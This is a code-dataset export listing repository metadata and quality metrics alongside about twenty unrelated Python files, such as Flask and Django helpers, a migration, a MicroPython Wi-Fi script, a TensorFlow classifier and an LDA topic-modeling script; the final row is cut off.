hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
26bd97f61aa8677a52c1050fed16514074e239fd
2,004
py
Python
hp_steam_data/src/main.py
wangzhefeng/data-analysis
e502ac49ae1bc8287243e1faf51c467cc4d4187c
[ "MIT" ]
null
null
null
hp_steam_data/src/main.py
wangzhefeng/data-analysis
e502ac49ae1bc8287243e1faf51c467cc4d4187c
[ "MIT" ]
null
null
null
hp_steam_data/src/main.py
wangzhefeng/data-analysis
e502ac49ae1bc8287243e1faf51c467cc4d4187c
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import numpy as np import pandas as pd import os PROJECT_PATH = "/mnt/e/dev/test/hp_steam_data/" DATA_PATH = os.path.join(PROJECT_PATH, "data") RESULT_PATH = os.path.join(PROJECT_PATH, "result") def get_origin_data(): """ origin data """ # raw data ...
36.436364
151
0.733034
325
2,004
4.095385
0.209231
0.108189
0.090158
0.057851
0.616078
0.616078
0.437265
0.428249
0.389932
0.227648
0
0.025877
0.132236
2,004
54
152
37.111111
0.739505
0.102295
0
0
0
0
0.461365
0.431472
0
0
0
0
0
1
0.074074
false
0
0.111111
0
0.222222
0.037037
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
26be6c749fedecdd29350e7dc06917fe50136ca1
556
py
Python
Modulo-02/ex058/ex058.py
Matheus-Henrique-Burey/Curso-de-Python
448aebaab96527affa1e45897a662bb0407c11c6
[ "MIT" ]
null
null
null
Modulo-02/ex058/ex058.py
Matheus-Henrique-Burey/Curso-de-Python
448aebaab96527affa1e45897a662bb0407c11c6
[ "MIT" ]
null
null
null
Modulo-02/ex058/ex058.py
Matheus-Henrique-Burey/Curso-de-Python
448aebaab96527affa1e45897a662bb0407c11c6
[ "MIT" ]
null
null
null
from random import randint print('=-' * 15) print('ADIVINHE EM QUE NUMERO ESTOU PENÇANDO') print('=-' * 15) pc = randint(0, 10) num = 11 cont = 0 while pc != num: num = int(input('Sera que voce consegue acertar o numero que pensei, entre 0, 10: ')) if num == pc: print('PARABES!!! VOCE ACERTOU') e...
23.166667
89
0.546763
74
556
4.108108
0.581081
0.046053
0.046053
0.078947
0
0
0
0
0
0
0
0.040506
0.289568
556
23
90
24.173913
0.729114
0
0
0.2
0
0
0.357914
0
0
0
0
0
0
1
0
false
0
0.05
0
0.05
0.45
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
1
26c4a3b8183960d6aad7bfb1532a7a0f533eda4e
4,087
py
Python
flask_simpleview/__init__.py
jackwardell/Flask-SimpleView
813d5dbe6353f77016c893caff526abae8487492
[ "Apache-2.0" ]
null
null
null
flask_simpleview/__init__.py
jackwardell/Flask-SimpleView
813d5dbe6353f77016c893caff526abae8487492
[ "Apache-2.0" ]
null
null
null
flask_simpleview/__init__.py
jackwardell/Flask-SimpleView
813d5dbe6353f77016c893caff526abae8487492
[ "Apache-2.0" ]
null
null
null
import re import flask import flask.views from functools import wraps def camel_case_to_snake_case(word): """very simple mechanism for turning CamelCase words into snake_case""" return re.sub(r"(?<!^)(?=[A-Z])", "_", word).lower() def camel_case_to_slug_case(word): """very simple mechanism for turning ...
28.381944
84
0.62711
508
4,087
4.807087
0.248032
0.022932
0.034398
0.044226
0.187551
0.09009
0.067158
0.067158
0.067158
0.045045
0
0.000337
0.274284
4,087
143
85
28.58042
0.822994
0.261806
0
0.097222
0
0
0.061466
0
0
0
0
0
0
1
0.194444
false
0.055556
0.055556
0.069444
0.5
0.013889
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
26ccd5bc1d5e387e612a0f077f3e861929e6b021
2,972
py
Python
toolbox/exp/Experiment.py
LinXueyuanStdio/KGE-toolbox
916842835e61ba99dde1409592977a2ec55f8aae
[ "Apache-2.0" ]
2
2021-10-17T17:50:24.000Z
2021-12-13T05:22:46.000Z
toolbox/exp/Experiment.py
LinXueyuanStdio/KGE-toolbox
916842835e61ba99dde1409592977a2ec55f8aae
[ "Apache-2.0" ]
null
null
null
toolbox/exp/Experiment.py
LinXueyuanStdio/KGE-toolbox
916842835e61ba99dde1409592977a2ec55f8aae
[ "Apache-2.0" ]
null
null
null
import numpy as np from toolbox.exp.OutputSchema import OutputSchema from toolbox.utils.LaTeXSotre import EvaluateLaTeXStoreSchema from toolbox.utils.MetricLogStore import MetricLogStoreSchema from toolbox.utils.ModelParamStore import ModelParamStoreSchema from toolbox.utils.Visualize import VisualizeSchema class Ex...
44.358209
89
0.685397
390
2,972
5.002564
0.230769
0.064582
0.069195
0.099949
0.635572
0.635572
0.635572
0.635572
0.635572
0.635572
0
0.007197
0.205249
2,972
66
90
45.030303
0.818798
0
0
0.491228
0
0
0.033311
0
0
0
0
0
0
1
0.087719
false
0
0.105263
0
0.280702
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
26cdda5a2dd54f427c59a8a3d865986d8ec6b5ee
893
py
Python
src/dataloader/tests/runner.py
ODM2/ODM2DataSharingPortal
4ea1d633fe8e1cc39916e83041f2dbc830339e55
[ "BSD-3-Clause" ]
18
2018-11-27T11:57:24.000Z
2022-03-19T16:52:35.000Z
src/dataloader/tests/runner.py
ODM2/ODM2DataSharingPortal
4ea1d633fe8e1cc39916e83041f2dbc830339e55
[ "BSD-3-Clause" ]
362
2018-02-21T16:27:00.000Z
2022-03-31T18:48:48.000Z
src/dataloader/tests/runner.py
ODM2/ODM2DataSharingPortal
4ea1d633fe8e1cc39916e83041f2dbc830339e55
[ "BSD-3-Clause" ]
5
2018-07-04T17:13:09.000Z
2021-12-19T22:51:40.000Z
import json import os from django.core.management import call_command from django.test.runner import DiscoverRunner from django.db import connections from dataloader.tests.data import data_manager class ODM2TestRunner(DiscoverRunner): test_connection = None database_alias = u'odm2' def setup_test_envir...
29.766667
98
0.721165
104
893
5.961538
0.461538
0.112903
0.116129
0
0
0
0
0
0
0
0
0.004167
0.193729
893
29
99
30.793103
0.856944
0
0
0
0
0
0.035834
0
0
0
0
0
0
1
0.090909
false
0
0.272727
0
0.545455
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
26dc6cf0e3afad0c2ebf41ec4b792f1e330897c5
2,963
py
Python
hvo_api/model/gps.py
wtollett-usgs/hvo_api
cdd39cb74d28a931cac4b843a71c5d8435f4620c
[ "CC0-1.0" ]
null
null
null
hvo_api/model/gps.py
wtollett-usgs/hvo_api
cdd39cb74d28a931cac4b843a71c5d8435f4620c
[ "CC0-1.0" ]
null
null
null
hvo_api/model/gps.py
wtollett-usgs/hvo_api
cdd39cb74d28a931cac4b843a71c5d8435f4620c
[ "CC0-1.0" ]
null
null
null
# -*- coding: utf-8 -*- from valverest.database import db7 as db from sqlalchemy.ext.hybrid import hybrid_property class Solution(db.Model): __tablename__ = 'solutions' __bind_key__ = 'gps' sid = db.Column(db.Integer, primary_key=True) cid = db.Column(db.Integer, primary_key=True) x = db.Column(d...
22.44697
79
0.59838
397
2,963
4.282116
0.201511
0.127059
0.147059
0.105882
0.236471
0.168824
0.136471
0.075294
0
0
0
0.010703
0.274722
2,963
131
80
22.618321
0.780363
0.016537
0
0.20202
0
0
0.04055
0
0
0
0
0
0
1
0.141414
false
0
0.020202
0.131313
0.727273
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
0
0
0
1
26e0374db2378f11fc9bfc31927fa2a8ccdcf58c
1,995
py
Python
src/blog/templatetags/timediffer.py
codewithrakib/first-django-blog
339f5833025b0758f391c7c8e0979ca2eefd1b52
[ "MIT" ]
null
null
null
src/blog/templatetags/timediffer.py
codewithrakib/first-django-blog
339f5833025b0758f391c7c8e0979ca2eefd1b52
[ "MIT" ]
7
2021-03-19T02:00:00.000Z
2022-02-10T10:26:38.000Z
src/blog/templatetags/timediffer.py
codewithrakib/first-django-blog
339f5833025b0758f391c7c8e0979ca2eefd1b52
[ "MIT" ]
null
null
null
from django import template from datetime import datetime from datetime import date from datetime import time from datetime import timedelta register = template.Library() @register.filter def timediffer(now, posttime): posttime = posttime.replace(tzinfo=None) timedif= now -posttime timestr="" if timed...
30.227273
56
0.578947
240
1,995
4.8125
0.208333
0.09697
0.157576
0.242424
0.406061
0.406061
0.242424
0
0
0
0
0.033724
0.316291
1,995
66
57
30.227273
0.81305
0
0
0.267857
0
0
0.177355
0
0
0
0
0
0
1
0.017857
false
0
0.089286
0
0.125
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
26f0496f5cee5563d72ece3864af6c3cc42f430c
2,883
py
Python
indicators/migrations/0035_make_indicators_programs_foreignkey.py
mercycorps/TolaWorkflow
59542132fafd611081adb0e8cfaa04abc5886d7a
[ "Apache-2.0" ]
null
null
null
indicators/migrations/0035_make_indicators_programs_foreignkey.py
mercycorps/TolaWorkflow
59542132fafd611081adb0e8cfaa04abc5886d7a
[ "Apache-2.0" ]
268
2020-03-31T15:46:59.000Z
2022-03-31T18:01:08.000Z
indicators/migrations/0035_make_indicators_programs_foreignkey.py
Falliatcom-sa/falliatcom
39fb926de072c296ed32d50cccfb8003ca870739
[ "Apache-2.0" ]
1
2021-01-05T01:58:24.000Z
2021-01-05T01:58:24.000Z
# -*- coding: utf-8 -*- # Generated by Django 1.11.2 on 2018-11-06 08:34 from __future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion def set_temp_program_id(apps, schema_editor): Indicator = apps.get_model('indicators', 'Indicator') for indicator in Indic...
36.493671
105
0.622962
315
2,883
5.51746
0.349206
0.051784
0.037399
0.050633
0.444189
0.413694
0.374568
0.374568
0.336594
0.271001
0
0.019552
0.272633
2,883
78
106
36.961538
0.809251
0.078737
0
0.476923
1
0
0.135523
0.02265
0
0
0
0
0
1
0.046154
false
0
0.046154
0
0.138462
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
26fb61ab1de0e800a79d50ca5f9597cf8788e433
2,155
py
Python
db_sheet/sheet_table.py
chowmean/DBSheet
3f1c521320cb3564c4ff55cd70c8a1978dd32a4c
[ "Apache-2.0" ]
3
2017-08-18T20:04:12.000Z
2021-01-08T12:23:43.000Z
db_sheet/sheet_table.py
chowmean/DBSheet
3f1c521320cb3564c4ff55cd70c8a1978dd32a4c
[ "Apache-2.0" ]
1
2021-06-01T23:13:57.000Z
2021-06-01T23:13:57.000Z
db_sheet/sheet_table.py
chowmean/DBSheet
3f1c521320cb3564c4ff55cd70c8a1978dd32a4c
[ "Apache-2.0" ]
null
null
null
class Table: def __init__(self, columns, name): self.columns = columns self.name = name class CreateTable: def __init__(self, table_obj, sheet_obj): self.table = table_obj self.sheet = sheet_obj def create_table(self): cols = len(self.table.columns) name = ...
28.733333
61
0.570766
282
2,155
4.141844
0.212766
0.075342
0.065925
0.027397
0.203767
0.203767
0.160959
0.113014
0.054795
0.054795
0
0.010468
0.335035
2,155
75
62
28.733333
0.804606
0
0
0.16129
0
0
0.024583
0
0
0
0
0
0
0
null
null
0
0
null
null
0.016129
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
f80409abd20022882a95d524c2584bb72123403a
533
py
Python
Perfect Squares.py
ngdeva99/Fulcrum
3a5c69005bbaf2a5aebe13d1907f13790210fb32
[ "MIT" ]
null
null
null
Perfect Squares.py
ngdeva99/Fulcrum
3a5c69005bbaf2a5aebe13d1907f13790210fb32
[ "MIT" ]
null
null
null
Perfect Squares.py
ngdeva99/Fulcrum
3a5c69005bbaf2a5aebe13d1907f13790210fb32
[ "MIT" ]
null
null
null
class Solution: def numSquares(self, n: int) -> int: if n==0: return 0 dp = [float('inf')]*(n+1) dp[0] = 0 c = n n = int(sqrt(n)) a = [i**2 for i in range(1,n+1)] for i in range(1,len(dp)): for j in a: ...
22.208333
48
0.320826
73
533
2.342466
0.356164
0.052632
0.070175
0.128655
0.140351
0
0
0
0
0
0
0.048387
0.534709
533
23
49
23.173913
0.641129
0
0
0
0
0
0.011257
0
0
0
0
0
0
1
0.058824
false
0
0
0
0.294118
0.058824
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f805d1c83458a20d7c8be553923b41b8d8630a7f
328
py
Python
sqltask/base/dq.py
mjalo/sqltask
f6eefd624614a464ae5697ac61405416244518e2
[ "MIT" ]
10
2019-10-09T15:34:13.000Z
2022-02-21T07:44:03.000Z
sqltask/base/dq.py
mjalo/sqltask
f6eefd624614a464ae5697ac61405416244518e2
[ "MIT" ]
23
2019-10-09T15:20:01.000Z
2020-02-08T11:51:24.000Z
sqltask/base/dq.py
mjalo/sqltask
f6eefd624614a464ae5697ac61405416244518e2
[ "MIT" ]
4
2019-10-09T15:20:51.000Z
2020-02-11T08:43:03.000Z
from enum import Enum class Priority(Enum): MANDATORY = "mandatory" HIGH = "high" MEDIUM = "medium" LOW = "low" class Source(Enum): SOURCE = "source" TRANSFORM = "transform" LOOKUP = "lookup" class Category(Enum): MISSING = "missing" INCORRECT = "incorrect" DUPLICATE = "dup...
15.619048
27
0.618902
33
328
6.151515
0.484848
0
0
0
0
0
0
0
0
0
0
0
0.262195
328
20
28
16.4
0.838843
0
0
0
0
0
0.207317
0
0
0
0
0
0
1
0
false
0
0.071429
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
f80628afca18060801db523544822b454ace8ecb
2,386
py
Python
main.py
deadpoool69/MediCare
eb45149dd14dc3792ef3ea724c61d46a29718068
[ "MIT" ]
null
null
null
main.py
deadpoool69/MediCare
eb45149dd14dc3792ef3ea724c61d46a29718068
[ "MIT" ]
null
null
null
main.py
deadpoool69/MediCare
eb45149dd14dc3792ef3ea724c61d46a29718068
[ "MIT" ]
null
null
null
from flask import Flask, render_template, request, url_for, redirect from forms import * from model import generate_recommendations, get_desc import os app = Flask(__name__) SECRET_KEY = os.urandom(32) app.config['SECRET_KEY'] = SECRET_KEY @app.route('/', methods=["GET", "POST"]) def landing(): title = 'Neurolens...
38.483871
102
0.670159
334
2,386
4.598802
0.245509
0.046875
0.036458
0.044271
0.179688
0.14974
0.14974
0.089844
0.089844
0.089844
0
0.025862
0.173512
2,386
61
103
39.114754
0.753043
0.013831
0
0.148148
1
0
0.156954
0
0
0
0
0
0
1
0.074074
false
0
0.074074
0
0.277778
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f80ccbd3e3b59f33892aafb3cc6b1f95f360dd40
1,631
py
Python
test_csv_write.py
wandyrandy/Groupme-Group-Stats-Report
25a59b715a7555540695639de81db390f09eb122
[ "MIT" ]
2
2019-08-13T21:50:32.000Z
2019-08-14T00:49:29.000Z
test_csv_write.py
wandyrandy/Groupme-Group-Stats-Report
25a59b715a7555540695639de81db390f09eb122
[ "MIT" ]
null
null
null
test_csv_write.py
wandyrandy/Groupme-Group-Stats-Report
25a59b715a7555540695639de81db390f09eb122
[ "MIT" ]
null
null
null
import csv import person from random import randrange headers = ['Name', 'Messages', 'Char Count', 'Likes Given', 'Likes Received', 'Image URL'] #tester code people = ['bob', 'joe', 'gmo'] bob = person.Person(111, 'bob', 'www.bob.com', people) joe = person.Person(222, 'joe', 'www.joe.com', people) gmo = p...
31.980392
91
0.676272
230
1,631
4.726087
0.252174
0.212512
0.090156
0.057958
0.045998
0
0
0
0
0
0
0.037862
0.174126
1,631
51
92
31.980392
0.769117
0.048437
0
0.04878
0
0
0.103264
0
0
0
0
0
0
1
0
false
0
0.073171
0
0.073171
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f818e9acfc35ef6a4d51efdba0e1aa6dcf47703d
399
py
Python
examples/connect_to_wifi.py
flaiming/TechFurMeet-Micropython
00ff427429dfc186e33aa5e77bafe39eb820b854
[ "MIT" ]
1
2018-01-19T12:05:32.000Z
2018-01-19T12:05:32.000Z
examples/connect_to_wifi.py
flaiming/TechFurMeet-Micropython
00ff427429dfc186e33aa5e77bafe39eb820b854
[ "MIT" ]
null
null
null
examples/connect_to_wifi.py
flaiming/TechFurMeet-Micropython
00ff427429dfc186e33aa5e77bafe39eb820b854
[ "MIT" ]
null
null
null
import network import time # deactivate AP ap = network.WLAN(network.AP_IF) ap.active(False) # activate static network wlan = network.WLAN(network.STA_IF) wlan.active(True) # connect to local WIFI wlan.connect('TFM-Attendees') # wait until connected while not wlan.isconnected(): print('connecting...') time....
19
49
0.736842
55
399
5.309091
0.581818
0.113014
0.184932
0
0
0
0
0
0
0
0
0.002874
0.12782
399
20
50
19.95
0.836207
0.200501
0
0
0
0
0.187898
0
0
0
0
0
0
1
0
false
0
0.166667
0
0.166667
0.25
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f820475f96913877c23f5aa594fcc87cf676cc00
1,296
py
Python
src/api_status_monitor/consumer/database_connection.py
jjaakola/bang-a-gong
d30f889c18eeaff3d62d47cd02e93516e4d24dd7
[ "MIT" ]
null
null
null
src/api_status_monitor/consumer/database_connection.py
jjaakola/bang-a-gong
d30f889c18eeaff3d62d47cd02e93516e4d24dd7
[ "MIT" ]
null
null
null
src/api_status_monitor/consumer/database_connection.py
jjaakola/bang-a-gong
d30f889c18eeaff3d62d47cd02e93516e4d24dd7
[ "MIT" ]
null
null
null
"""The database connection manager. """ import logging import psycopg2 class DatabaseConnection(): """Database connection manager. """ def __init__(self, host, port, user, dbname, password, sslmode): self._conn = None self._host = host self._port = port self._user = user ...
31.609756
86
0.500772
119
1,296
5.235294
0.352941
0.102729
0.080257
0
0
0
0
0
0
0
0
0.004
0.421296
1,296
40
87
32.4
0.826667
0.050926
0
0.2
0
0
0.066502
0
0
0
0
0
0
1
0.1
false
0.1
0.066667
0
0.233333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
f82135374f4390dc528fb4356d78faff21f4ca0a
5,951
py
Python
Tools/Tools/Scripts/webkitpy/layout_tests/port/base_unittest.py
VincentWei/mdolphin-core
48ffdcf587a48a7bb4345ae469a45c5b64ffad0e
[ "Apache-2.0" ]
6
2017-05-31T01:46:45.000Z
2018-06-12T10:53:30.000Z
Tools/Tools/Scripts/webkitpy/layout_tests/port/base_unittest.py
FMSoftCN/mdolphin-core
48ffdcf587a48a7bb4345ae469a45c5b64ffad0e
[ "Apache-2.0" ]
null
null
null
Tools/Tools/Scripts/webkitpy/layout_tests/port/base_unittest.py
FMSoftCN/mdolphin-core
48ffdcf587a48a7bb4345ae469a45c5b64ffad0e
[ "Apache-2.0" ]
2
2017-07-17T06:02:42.000Z
2018-09-19T10:08:38.000Z
# Copyright (C) 2010 Google Inc. All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the f...
46.858268
175
0.682406
767
5,951
5.151239
0.333768
0.018223
0.016705
0.01139
0.234624
0.156922
0.136168
0.098709
0.06125
0.06125
0
0.001942
0.221139
5,951
126
176
47.230159
0.850485
0.378424
0
0.130435
0
0.028986
0.188901
0.063969
0
0
0
0
0.231884
0
null
null
0
0.072464
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
f8237a8940cd62de0269063bae0eb6296bc0aa2a
2,796
py
Python
data/classifier/general_test.py
alexv1/tensorflow_learn
ae936ffdc211a11403d6a06401a2115334b46402
[ "Apache-2.0" ]
null
null
null
data/classifier/general_test.py
alexv1/tensorflow_learn
ae936ffdc211a11403d6a06401a2115334b46402
[ "Apache-2.0" ]
null
null
null
data/classifier/general_test.py
alexv1/tensorflow_learn
ae936ffdc211a11403d6a06401a2115334b46402
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- from skimage import transform import tensorflow as tf import numpy as np import glob import face_recognition as FR import os import shutil def read_one_image(image_file, width, height): # img = io.imread(image_file) img = FR.load_image_file(image_file) img = transform.resize(img,(wi...
27.96
87
0.672031
404
2,796
4.470297
0.311881
0.0299
0.026578
0.015504
0.066445
0
0
0
0
0
0
0.019504
0.193133
2,796
99
88
28.242424
0.781028
0.055794
0
0.05
0
0
0.052111
0
0
0
0
0
0
0
null
null
0
0.1
null
null
0.1125
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
f8277c470e26c658915e5f878e41e448502ec2a5
1,126
py
Python
test_publisher.py
cpgillem/markdown_publisher
a8e6bacea95196b9a18ad8fa2f85822c5d9c4e74
[ "MIT" ]
null
null
null
test_publisher.py
cpgillem/markdown_publisher
a8e6bacea95196b9a18ad8fa2f85822c5d9c4e74
[ "MIT" ]
3
2015-04-11T08:16:56.000Z
2015-04-11T08:17:32.000Z
test_publisher.py
cpgillem/markdown-publisher
a8e6bacea95196b9a18ad8fa2f85822c5d9c4e74
[ "MIT" ]
null
null
null
import publisher test_pdf_filename = "test/test.pdf" test_css_filename = "test/test.css" test_md_filename = "test/test.md" test_html_filename = "test/test.html" test_sender = "cpg@yakko.cs.wmich.edu" test_recipient = "cpgillem@gmail.com" test_md = "# Test heading\n\n- test item 1\n- test item 2" def from_html_file()...
32.171429
87
0.781528
185
1,126
4.32973
0.2
0.067416
0.069913
0.131086
0.425718
0.27965
0.27965
0.223471
0.169788
0.169788
0
0.002018
0.119893
1,126
34
88
33.117647
0.806256
0.026643
0
0.08
0
0
0.134369
0.02011
0
0
0
0
0
0
null
null
0
0.04
null
null
0.2
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
f82d7cf376b5b98be3742039b95afbfff6e6b1f8
1,630
py
Python
description tm.py
jfoerderer/lda-topic-modeling
998701f87df3a3d034d9208ff60266dcd6dc2b59
[ "MIT" ]
2
2017-09-02T09:00:24.000Z
2017-09-08T07:18:38.000Z
description tm.py
jfoerderer/lda-topic-modeling
998701f87df3a3d034d9208ff60266dcd6dc2b59
[ "MIT" ]
null
null
null
description tm.py
jfoerderer/lda-topic-modeling
998701f87df3a3d034d9208ff60266dcd6dc2b59
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- import csv from stop_words import get_stop_words from nltk.stem.porter import PorterStemmer from gensim import corpora import gensim import os import re from nltk.tokenize import RegexpTokenizer #SET PATH path = r'' inputname="" def remove_html_tags(text): """Remove html tags from a s...
26.721311
99
0.628834
224
1,630
4.446429
0.388393
0.045181
0.042169
0.040161
0
0
0
0
0
0
0
0.015587
0.252147
1,630
60
100
27.166667
0.801477
0.020859
0
0
0
0
0.015424
0
0
0
0
0
0
0
null
null
0.02439
0.195122
null
null
0.073171
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
f830e618925548200af372e7691ce927a36784c1
867
py
Python
registry/setup.py
fjrmoreews/bioshadock_client
26a1de6e130689b6385144253525c861d2a2199d
[ "Apache-2.0" ]
1
2015-11-25T19:03:58.000Z
2015-11-25T19:03:58.000Z
registry/setup.py
fjrmoreews/bioshadock_client
26a1de6e130689b6385144253525c861d2a2199d
[ "Apache-2.0" ]
2
2015-11-24T14:45:44.000Z
2015-11-26T15:28:30.000Z
registry/setup.py
fjrmoreews/bioshadock_client
26a1de6e130689b6385144253525c861d2a2199d
[ "Apache-2.0" ]
1
2015-11-27T10:57:15.000Z
2015-11-27T10:57:15.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- from setuptools import setup, find_packages setup( # name of the lib name='bioshadock_biotools', # version version='1.0.1', packages=find_packages(), author="Francois Moreews", description="Import tool for biotools from Dockerfile", i...
18.847826
59
0.575548
86
867
5.732558
0.709302
0.048682
0.10142
0.060852
0
0
0
0
0
0
0
0.022727
0.289504
867
45
60
19.266667
0.777597
0.076125
0
0.111111
0
0
0.451005
0
0
0
0
0
0
1
0
